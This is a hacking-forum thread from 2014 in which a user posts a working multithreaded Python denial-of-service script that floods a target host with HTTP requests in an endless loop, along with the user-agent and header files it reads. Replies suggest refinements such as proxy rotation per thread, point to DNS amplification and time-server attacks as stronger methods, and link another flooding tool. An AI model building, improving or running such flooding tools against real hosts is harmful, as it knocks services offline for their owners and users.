EvilZone
Programming and Scripting => Scripting Languages => : $Clone November 07, 2014, 08:29:24 PM
-
hey guys this is my dos script with threading capabilities:
UserAgent.txt
Linux / Firefox 29: Mozilla/5.0 (X11; Linux x86_64; rv:29.0) Gecko/20100101 Firefox/29.0
Linux / Chrome 34: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36
Mac / Firefox 29: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:29.0) Gecko/20100101 Firefox/29.0
Mac / Chrome 34: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36
Mac / Safari 7: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/537.75.14
Windows / Firefox 29: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0
Windows / Chrome 34: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36
Windows / IE 6: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Windows / IE 7: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)
Windows / IE 8: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)
Windows / IE 9: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Windows / IE 10: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
Windows / IE 11: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Android / Firefox 29: Mozilla/5.0 (Android; Mobile; rv:29.0) Gecko/29.0 Firefox/29.0
Android / Chrome 34: Mozilla/5.0 (Linux; Android 4.4.2; Nexus 4 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.114 Mobile Safari/537.36
iOS / Chrome 34: Mozilla/5.0 (iPad; CPU OS 7_0_4 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) CriOS/34.0.1847.18 Mobile/11B554a Safari/9537.53
iOS / Safari 7: Mozilla/5.0 (iPad; CPU OS 7_0_4 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11B554a Safari/9537.53
headers.txt
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Dos Script
#Demonstration of a Denial of service attack.
import threading
import socket
import random
import sys
global headers,UsAg,host,port
def UserAgent():
userAg=[]
File=open("C:\\UserAgent.txt","r") #your path
for line in File:
userAg.append(line)
return userAg
def TakeDown(host="",port=80):
try:
sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
except socket.error,msg:
print"Error:",msg
else:
try:
host=socket.gethostbyname(host)
except socket.gaierror:
print"Could not resolve hostname."
sys.exit()
else:
packet = str("GET / HTTP/1.1\nHost: "+host+"\n\n User-Agent: "+random.choice(UsAg)+"\n"+headers).encode('utf-8')
if sock.connect_ex((host,port))==0:
if sock.sendall(packet)==None:
print"Packet sent successfuly!"
sock.close()
else:
print"Error while sending!"
sys.exit()
if __name__=="__main__":
host=raw_input("Enter host address:")
port=raw_input("Enter port number:")
threads=raw_input("Enter number of threads:")
threads=int(threads)
port=int(port)
UsAg=UserAgent()
fp=open("C:headers.txt","r")
headers=fp.read()
fp.close()
while True:
for i in range(threads):
th=threading.Thread(target=TakeDown,args=(host,port,),name="User-"+str(1))
th.Daemon=True #thread dies if it exits!
th.start()
th.join()#make the attack sequential
It is not DDos script since it requires distributed computing(multiple computers) to be Ddos attack
-
Personally i wouldn't hardcode a variable file path in a script e.g your useragent.txt and headers.txt files. i could advise either you try using the current directory if hardcoding: "./filename.ext" or better you could let it be supplied on the command line where also the current dir path can still be supplied. Now your script will require come adjustment to work on *nix.
Script could use argparse for the user to specify number of threads to spawn and other pallelising stuff; could also use a proxy list where a thread could use a different proxy[just a thought, never tried it in reality].
Script would be fine as PoC or for learning purposes but if you would ever go Dosing then i would suggest scripting afew better methods of DDosing like DNS amplification and Time servers stuff.
MTOBIYFA
-
I get you bro so i guess for anyone looking for anything fancy please check out
https://github.com/cyweb/hammer/blob/master/hammer.py (https://github.com/cyweb/hammer/blob/master/hammer.py)
;)
-
If that aint your code then why are you giving up and sending people to someone else's. Learn from other scripts to make yours the best. Get rid of the headers and u-gents text file[probably] and keep an in memory list of them in your code. If the main code will become blotted then write a different module and put them there. I hate to see people quit.
-
not quiting not my kind of style just thought pple should see what you ment before
-
Thanks for sharing your code. After reading a few times, I understand most of it, but have one question. How do you stop it? Would this just be stopped by pressing ctrl-c while you are running it in terminal or something like that?
-
Thanks for sharing your code. After reading a few times, I understand most of it, but have one question. How do you stop it? Would this just be stopped by pressing ctrl-c while you are running it in terminal or something like that?
That is an acceptable way of killing such programs indeed.
Only when you have for example a logfile or database it is recommended to do a clean shutdown.
-
Thanks for sharing your code. After reading a few times, I understand most of it, but have one question. How do you stop it? Would this just be stopped by pressing ctrl-c while you are running it in terminal or something like that?
:( I wanted to delete the post .....but Yeah! you stop it by killing the program or ctrl+c but its was meant to simple for anyone to understand.